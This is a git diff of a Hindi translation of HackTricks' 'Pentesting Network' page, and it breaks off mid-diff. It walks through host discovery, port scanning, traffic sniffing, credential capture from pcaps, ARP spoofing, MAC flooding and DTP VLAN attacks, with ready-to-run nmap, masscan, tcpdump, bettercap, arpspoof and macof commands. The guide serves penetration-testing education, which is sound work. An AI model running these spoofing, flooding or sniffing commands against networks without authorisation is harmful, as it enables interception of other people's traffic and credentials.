mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
eff66d3c17
commit
c40b09a56a
@ -1,19 +1,19 @@
|
||||
# Pentesting Network
|
||||
# Pentesting नेटवर्क
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## बाहर से होस्ट खोजने के लिए
|
||||
## बाहरी से hosts का पता लगाना
|
||||
|
||||
यह **संक्षिप्त अनुभाग** है कि **इंटरनेट** से **प्रतिक्रिया देने वाले IPs** को कैसे खोजें।\
|
||||
इस स्थिति में आपके पास कुछ **IP का दायरा** (शायद कई **रेंज** भी) है और आपको बस यह पता करना है कि **कौन से IPs प्रतिक्रिया दे रहे हैं**।
|
||||
यह एक **संक्षिप्त अनुभाग** होगा कि कैसे **IPs responding** को **इंटरनेट** से खोजा जाए।\
|
||||
इस स्थिति में आपके पास कुछ **scope of IPs** (शायद कई **ranges**) हो सकते हैं और आपको बस यह पता लगाना है कि **कौन से IPs responding हैं**।
|
||||
|
||||
### ICMP
|
||||
|
||||
यह यह पता लगाने का **सबसे आसान** और **तेज़** तरीका है कि कोई होस्ट चालू है या नहीं।\
|
||||
आप कुछ **ICMP** पैकेट भेजने की कोशिश कर सकते हैं और **प्रतिक्रिया की उम्मीद** कर सकते हैं। सबसे आसान तरीका बस एक **इको अनुरोध** भेजना और प्रतिक्रिया की उम्मीद करना है। आप इसे एक साधारण `ping` का उपयोग करके या **रेंज** के लिए `fping` का उपयोग करके कर सकते हैं।\
|
||||
आप **nmap** का उपयोग करके अन्य प्रकार के ICMP पैकेट भेजने के लिए भी उपयोग कर सकते हैं (यह सामान्य ICMP इको अनुरोध-प्रतिक्रिया के लिए फ़िल्टर से बचने में मदद करेगा)।
|
||||
यह किसी **host** के up होने का सबसे **आसान** और **तेज़** तरीका है।\
|
||||
आप कुछ **ICMP** packets भेजकर **responses** की उम्मीद कर सकते हैं। सबसे आसान तरीका बस एक **echo request** भेजना और response की उम्मीद करना है। आप यह साधारण `ping` का उपयोग करके कर सकते हैं या **ranges** के लिए `fping` का उपयोग करें।\
|
||||
आप **nmap** का भी उपयोग कर सकते हैं ताकि अन्य प्रकार के ICMP packets भेजे जा सकें (यह सामान्य ICMP echo request-response पर लगे filters से बचने में मदद करेगा)।
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -21,50 +21,53 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCP Port Discovery
|
||||
|
||||
यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप **खुले पोर्ट खोजने** की कोशिश कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\
|
||||
फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **अधिक उपयोग किए जाने वाले पोर्टों** की एक सूची की आवश्यकता है:
|
||||
यह बहुत आम है कि सभी तरह के ICMP पैकेट फ़िल्टर किए जा रहे हों। तो, किसी host के up होने की जाँच करने के लिए आप जो कर सकते हैं वह है **open ports ढूँढ़ने की कोशिश करना**। प्रत्येक host के पास **65535 ports** होते हैं, इसलिए अगर आपका "big" scope है तो आप **प्रत्येक पोर्ट** हर host पर यह टेस्ट नहीं कर सकते कि वह open है या नहीं — यह बहुत समय लेगा。\
|
||||
तो, आपको चाहिए एक **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) और उन **सबसे ज़्यादा इस्तेमाल होने वाले ports** की सूची:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
आप इस चरण को `nmap` के साथ भी कर सकते हैं, लेकिन यह धीमा है और कुछ हद तक `nmap` को होस्ट की पहचान करने में समस्याएँ होती हैं।
|
||||
आप यह कदम `nmap` के साथ भी कर सकते हैं, लेकिन यह धीमा है और कुछ हद तक `nmap` को hosts up की पहचान करने में समस्याएँ होती हैं।
|
||||
|
||||
### HTTP पोर्ट खोज
|
||||
### HTTP Port Discovery
|
||||
|
||||
यह केवल एक TCP पोर्ट खोज है जो तब उपयोगी होती है जब आप **HTTP** **सेवाओं** की खोज पर ध्यान केंद्रित करना चाहते हैं:
|
||||
यह सिर्फ एक TCP port discovery है जो तब उपयोगी है जब आप **HTTP की खोज पर ध्यान केंद्रित करना** **services** चाहें:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP पोर्ट खोज
|
||||
### UDP Port Discovery
|
||||
|
||||
आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **एक होस्ट पर अधिक ध्यान देना चाहिए।** चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आज़माना चाहिए:
|
||||
आप कुछ **UDP port open** की जांच कर सकते हैं ताकि यह तय किया जा सके कि आपको किसी **host** पर **pay more attention** करना चाहिए या नहीं। क्योंकि **UDP services** आमतौर पर एक खाली UDP probe packet पर **don't respond** करती हैं और **any data** वापस नहीं भेजतीं, इसलिए यह बताना मुश्किल होता है कि कोई पोर्ट filtered है या open।
|
||||
|
||||
इसे तय करने का सबसे आसान तरीका है कि आप उस चल रही service से संबंधित एक packet भेजें, और चूँकि आपको पता नहीं होता कौन सी service चल रही है, इसलिए आपको port number के आधार पर सबसे संभावित सेवा आज़मानी चाहिए:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
nmap द्वारा प्रस्तावित लाइन हर होस्ट के **/24** रेंज में **शीर्ष 1000 UDP पोर्ट** का परीक्षण करेगी, लेकिन केवल यही करने में **>20मिनट** लगेंगे। यदि आपको **तेज़ परिणाम** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रॉब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए, यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
पहले सुझाई गई nmap लाइन **/24** रेंज के प्रत्येक होस्ट पर **top 1000 UDP ports** की जांच करेगी, लेकिन इससे भी **>20min** लगेंगे। अगर आपको **fastest results** चाहिए तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24`। यह इन **UDP probes** को उनके **expected port** पर भेजेगा (एक /24 रेंज के लिए यह सिर्फ़ 1 min लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP पोर्ट खोज
|
||||
### SCTP पोर्ट डिस्कवरी
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not try it?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
## Pentesting Wifi
|
||||
|
||||
यहाँ आप लेखन के समय के सभी प्रसिद्ध Wifi हमलों का एक अच्छा गाइड पा सकते हैं:
|
||||
Here you can find a nice guide of all the well known Wifi attacks at the time of the writing:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-wifi/
|
||||
{{#endref}}
|
||||
|
||||
## Discovering hosts from the inside
|
||||
## नेटवर्क के अंदर से hosts की खोज
|
||||
|
||||
यदि आप नेटवर्क के अंदर हैं, तो आप जो पहली चीज करना चाहेंगे वह है **अन्य होस्टों का पता लगाना**। **कितनी आवाज** आप कर सकते हैं/करना चाहते हैं, इसके आधार पर, विभिन्न क्रियाएँ की जा सकती हैं:
|
||||
यदि आप network के अंदर हैं, तो पहली चीज़ों में से एक जो आप करना चाहेंगे वह है **अन्य hosts की खोज**। आप कितना **noise** पैदा कर सकते/चाहते हैं, इसके आधार पर अलग-अलग क्रियाएँ की जा सकती हैं:
|
||||
|
||||
### Passive
|
||||
|
||||
आप इन उपकरणों का उपयोग करके एक जुड़े हुए नेटवर्क के अंदर होस्टों का निष्क्रिय रूप से पता लगा सकते हैं:
|
||||
आप इन टूल्स का उपयोग connected network के अंदर passive तरीके से hosts की खोज करने के लिए कर सकते हैं:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
@ -73,10 +76,10 @@ net.recon on/off #Read local ARP cache periodically
|
||||
net.show
|
||||
set net.show.meta true #more info
|
||||
```
|
||||
### Active
|
||||
### सक्रिय
|
||||
|
||||
ध्यान दें कि [_**बाहर से होस्ट खोजने**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP पोर्ट खोज_) में टिप्पणी की गई तकनीकें भी **यहां लागू की जा सकती हैं**।\
|
||||
लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं:
|
||||
ध्यान दें कि [_**Discovering hosts from the outside**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) में टिप्पणी की गई तकनीकें यहाँ भी **लागू की जा सकती हैं**.\
|
||||
लेकिन, चूंकि आप अन्य hosts के साथ **same network** में हैं, आप **और अधिक चीज़ें** कर सकते हैं:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
@ -96,35 +99,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
|
||||
#IPv6
|
||||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
### सक्रिय ICMP
|
||||
|
||||
ध्यान दें कि _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) में टिप्पणी की गई तकनीकें **यहां भी लागू की जा सकती हैं**।\
|
||||
लेकिन, चूंकि आप **अन्य होस्टों** के **साथ उसी नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं:
|
||||
ध्यान दें कि _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) में बताई गई तकनीकें यहाँ भी **लागू की जा सकती हैं**।\
|
||||
लेकिन, चूँकि आप अन्य **hosts** के साथ उसी **network** में हैं, आप और भी अधिक चीजें कर सकते हैं:
|
||||
|
||||
- यदि आप **subnet broadcast address** को **ping** करते हैं, तो पिंग **प्रत्येक होस्ट** तक पहुंचनी चाहिए और वे **आपको** **उत्तर** दे सकते हैं: `ping -b 10.10.5.255`
|
||||
- **Network broadcast address** को पिंग करने पर आप **अन्य subnets** के अंदर भी होस्ट पा सकते हैं: `ping -b 255.255.255.255`
|
||||
- होस्ट खोज करने के लिए `nmap` के `-PE`, `-PP`, `-PM` फ्लैग्स का उपयोग करें, जो क्रमशः **ICMPv4 echo**, **timestamp**, और **subnet mask requests** भेजते हैं: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- यदि आप **ping** किसी **subnet broadcast address** पर करते हैं तो ping हर **host** तक पहुँचनी चाहिए और वे **आपको** **respond** कर सकते हैं: `ping -b 10.10.5.255`
|
||||
- **network broadcast address** को ping करने पर आप अन्य **subnets** के अंदर भी hosts पा सकते हैं: `ping -b 255.255.255.255`
|
||||
- `nmap` के `-PE`, `-PP`, `-PM` flags का उपयोग host discovery करने के लिए करें, जो क्रमशः **ICMPv4 echo**, **timestamp**, और **subnet mask requests** भेजते हैं: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan का उपयोग **नेटवर्क संदेश** के माध्यम से कंप्यूटरों को **चालू करने** के लिए किया जाता है। कंप्यूटर को चालू करने के लिए उपयोग किया जाने वाला जादुई पैकेट केवल एक पैकेट है जिसमें **MAC Dst** प्रदान किया गया है और फिर इसे **एक ही पैकेट** के अंदर **16 बार दोहराया** जाता है।\
|
||||
फिर इस प्रकार के पैकेट आमतौर पर **ethernet 0x0842** में या **UDP पैकेट को पोर्ट 9** में भेजे जाते हैं।\
|
||||
यदि **कोई \[MAC]** प्रदान नहीं किया गया है, तो पैकेट **broadcast ethernet** पर भेजा जाता है (और ब्रॉडकास्ट MAC वही होगा जो दोहराया जाएगा)।
|
||||
Wake On Lan का उपयोग कंप्यूटरों को एक **network message** के माध्यम से **turn on** करने के लिए किया जाता है। उस magic packet में केवल एक **MAC Dst** दिया जाता है और फिर वही MAC उसी paket के अंदर **16 बार repeated** होता है।\
|
||||
यह प्रकार के packets आमतौर पर एक **ethernet 0x0842** में या **UDP packet to port 9** में भेजे जाते हैं।\
|
||||
यदि **no \[MAC]** दिया जाता है, तो packet **broadcast ethernet** को भेजा जाता है (और broadcast MAC वही होगा जिसे repeat किया जा रहा है)।
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
## होस्ट स्कैनिंग
|
||||
|
||||
एक बार जब आप सभी IPs (बाहरी या आंतरिक) का पता लगा लेते हैं जिन्हें आप गहराई से स्कैन करना चाहते हैं, तो विभिन्न क्रियाएँ की जा सकती हैं।
|
||||
एक बार जब आपने उन सभी IPs (external या internal) का पता लगा लिया है जिन्हें आप गहराई से scan करना चाहते हैं, तो विभिन्न क्रियाएँ की जा सकती हैं।
|
||||
|
||||
### TCP
|
||||
|
||||
- **खुला** पोर्ट: _SYN --> SYN/ACK --> RST_
|
||||
- **बंद** पोर्ट: _SYN --> RST/ACK_
|
||||
- **फिल्टर किया गया** पोर्ट: _SYN --> \[NO RESPONSE]_
|
||||
- **फिल्टर किया गया** पोर्ट: _SYN --> ICMP संदेश_
|
||||
- **खुला** port: _SYN --> SYN/ACK --> RST_
|
||||
- **बंद** port: _SYN --> RST/ACK_
|
||||
- **फ़िल्टर किया गया** port: _SYN --> \[NO RESPONSE]_
|
||||
- **फ़िल्टर किया गया** port: _SYN --> ICMP message_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
@ -138,12 +141,12 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
```
|
||||
### UDP
|
||||
|
||||
UDP पोर्ट को स्कैन करने के लिए 2 विकल्प हैं:
|
||||
UDP पोर्ट को स्कैन करने के 2 विकल्प हैं:
|
||||
|
||||
- एक **UDP पैकेट** भेजें और यदि पोर्ट **बंद** है तो _**ICMP अनुपलब्ध**_ के लिए प्रतिक्रिया की जांच करें (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)।
|
||||
- एक **फॉर्मेटेड डेटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है।
|
||||
- एक **UDP packet** भेजें और प्रतिक्रिया _**ICMP unreachable**_ की जाँच करें यदि पोर्ट **closed** है (कई मामलों में ICMP **filtered** होगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट closed है या open)।
|
||||
- एक **formatted datagrams** भेजें ताकि किसी **service** से response मिल सके (जैसे DNS, DHCP, TFTP और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं)। यदि आपको **response** मिलता है, तो पोर्ट **open** है।
|
||||
|
||||
**Nmap** दोनों विकल्पों को "-sV" का उपयोग करके **मिश्रित** करेगा (UDP स्कैन बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP स्कैन TCP स्कैन की तुलना में धीमे होते हैं:
|
||||
**Nmap** दोनों विकल्पों को "-sV" का उपयोग करके मिलाएगा (UDP scans बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP scans, TCP scans की तुलना में धीमे होते हैं:
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
@ -157,32 +160,34 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग करने के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्क पर टेलीफोनी डेटा के परिवहन को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाए जाने वाले कई विश्वसनीयता सुविधाओं को दर्शाता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मुख्य घटक है, जिसका उद्देश्य IP नेटवर्क पर SS7 संकेतों का परिवहन करना है।
|
||||
**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्कों पर टेलीफोनी डेटा के ट्रांसपोर्ट को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाई जाने वाली कई विश्वसनीयता सुविधाओं को प्रतिबिंबित करता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मूल घटक है, जो SS7 सिग्नल को IP नेटवर्क पर ट्रांसपोर्ट करने का लक्ष्य रखता है।
|
||||
|
||||
**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो टेली संचार और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है।
|
||||
**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो दूरसंचार और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है।
|
||||
|
||||
nmap द्वारा SCTP के लिए दो अलग-अलग स्कैन प्रदान किए जाते हैं: _-sY_ और _-sZ_
|
||||
nmap द्वारा SCTP के लिए दो अलग स्कैन प्रदान किए जाते हैं: _-sY_ और _-sZ_
|
||||
```bash
|
||||
# Nmap fast SCTP scan
|
||||
nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||||
# Nmap all SCTP scan
|
||||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||||
```
|
||||
### IDS और IPS से बचाव
|
||||
### IDS and IPS evasion
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ids-evasion.md
|
||||
{{#endref}}
|
||||
|
||||
### **अधिक nmap विकल्प**
|
||||
### **More nmap options**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
nmap-summary-esp.md
|
||||
{{#endref}}
|
||||
|
||||
### आंतरिक IP पतों का खुलासा
|
||||
### Revealing Internal IP Addresses
|
||||
|
||||
**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफ़ेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है।
|
||||
**Misconfigured routers, firewalls, and network devices** कभी-कभी network probes का जवाब **nonpublic source addresses** का उपयोग करते हुए देते हैं। **tcpdump** का उपयोग टेस्टिंग के दौरान private addresses से प्राप्त packets की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर packets को **eth2 interface** पर capture किया जा सकता है, जो public Internet से accessible है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपका setup किसी NAT या a Firewall के पीछे है, तो ऐसे packets संभवतः filtered out हो जाएंगे।
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -192,9 +197,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Sniffing के माध्यम से आप IP रेंज, सबनेट आकार, MAC पते, और होस्टनाम के विवरण जान सकते हैं, कैप्चर किए गए फ्रेम और पैकेट की समीक्षा करके। यदि नेटवर्क गलत तरीके से कॉन्फ़िगर किया गया है या स्विचिंग फैब्रिक पर तनाव है, तो हमलावर पासिव नेटवर्क स्निफ़िंग के माध्यम से संवेदनशील सामग्री कैप्चर कर सकते हैं।
|
||||
Sniffing के दौरान आप कैप्चर किए गए frames और packets की समीक्षा करके IP ranges, subnet sizes, MAC addresses, और hostnames के विवरण जान सकते हैं। अगर नेटवर्क misconfigured है या switching fabric पर दबाव है, तो हमलावर passive network sniffing के माध्यम से संवेदनशील सामग्री capture कर सकते हैं।
|
||||
|
||||
यदि एक स्विच किया गया ईथरनेट नेटवर्क सही तरीके से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम और आपके MAC पते के लिए निर्धारित सामग्री देखेंगे।
|
||||
अगर एक switched Ethernet network सही तरीके से configured है, तो आप केवल broadcast frames और आपके MAC address के लिए निर्धारित सामग्री ही देखेंगे।
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
@ -202,7 +207,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके एक दूरस्थ मशीन से वास्तविक समय में पैकेट कैप्चर कर सकते हैं।
|
||||
आप दूरस्थ मशीन से SSH सत्र के माध्यम से Wireshark को GUI के रूप में उपयोग करके realtime में packets capture भी कर सकते हैं।
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -218,17 +223,17 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
```
|
||||
### Wireshark
|
||||
|
||||
स्पष्ट है।
|
||||
बिलकुल।
|
||||
|
||||
### क्रेडेंशियल कैप्चर करना
|
||||
### Capturing credentials
|
||||
|
||||
आप [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे टूल का उपयोग करके pcap या लाइव इंटरफेस से क्रेडेंशियल्स को पार्स कर सकते हैं।
|
||||
आप [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे टूल्स का उपयोग pcap या live interface से credentials को parse करने के लिए कर सकते हैं।
|
||||
|
||||
## LAN हमले
|
||||
## LAN attacks
|
||||
|
||||
### ARP स्पूफिंग
|
||||
### ARP spoofing
|
||||
|
||||
ARP स्पूफिंग में ग्रैटिटियस ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि किसी मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह स्पूफ किए गए IP से संपर्क करना चाहता है, तो हमारी मशीन से संपर्क करेगा।
|
||||
ARP Spoofing में gratuitous ARPResponses भेजना शामिल है ताकि यह दर्शाया जा सके कि किसी मशीन का IP हमारे डिवाइस के MAC के साथ संबंधित है। फिर, लक्षित मशीन ARP table बदल लेगी और जब भी वह spoofed IP से संपर्क करना चाहेगी तो वह हमारी मशीन से संपर्क करेगी।
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -246,23 +251,25 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
|
||||
स्विच के CAM तालिका को ओवरफ्लो करें, विभिन्न स्रोत मैक पते के साथ बहुत सारे पैकेट भेजकर। जब CAM तालिका भर जाती है, तो स्विच हब की तरह व्यवहार करना शुरू कर देता है (सभी ट्रैफ़िक को ब्रॉडकास्ट करना)।
|
||||
switch की CAM table को overflow करें — अलग-अलग source mac address वाले बहुत सारे packets भेजकर। जब CAM table भर जाती है, तो switch hub की तरह व्यवहार करने लगता है (broadcasting all the traffic)।
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
आधुनिक स्विच में इस कमजोरियों को ठीक कर दिया गया है।
|
||||
आधुनिक स्विचों में यह कमज़ोरी ठीक कर दी गई है।
|
||||
|
||||
### 802.1Q VLAN / DTP हमले
|
||||
### 802.1Q VLAN / DTP Attacks
|
||||
|
||||
#### डायनामिक ट्रंकिंग
|
||||
#### Dynamic Trunking
|
||||
|
||||
**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सुगम बनाया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-इष्टतम नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है।
|
||||
The **Dynamic Trunking Protocol (DTP)** को trunking के लिए एक automatic सिस्टम की सुविधा देने हेतु एक लिंक-लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है, जो स्विचों को स्वचालित रूप से पोर्ट्स को trunk mode (Trunk) या non-trunk mode के लिए चुनने की अनुमति देता है।
|
||||
|
||||
डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक पेंटेस्टर या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs को सूचीबद्ध करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है।
|
||||
अक्सर **DTP** का उपयोग उपयुक्त नहीं नेटवर्क डिजाइन का संकेत माना जाता है, जो यह ज़ोर देता है कि trunk केवल जहां आवश्यक हो वहां मैन्युअली कॉन्फ़िगर किए जाने चाहिए और उचित डॉक्यूमेंटेशन सुनिश्चित किया जाना चाहिए।
|
||||
|
||||
कई स्विच में डिफ़ॉल्ट रूप से DTP की उपस्थिति का शोषण adversaries द्वारा स्विच के व्यवहार की नकल करने के लिए किया जा सकता है, जिससे सभी VLANs के बीच ट्रैफ़िक तक पहुंच प्राप्त होती है। स्क्रिप्ट [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) का उपयोग एक इंटरफेस की निगरानी के लिए किया जाता है, यह प्रकट करता है कि स्विच डिफ़ॉल्ट, ट्रंक, डायनामिक, ऑटो, या एक्सेस मोड में है—जिसमें से केवल एक्सेस मोड VLAN हॉपिंग हमलों के प्रति प्रतिरक्षित है। यह उपकरण स्विच की कमजोरियों की स्थिति का आकलन करता है।
|
||||
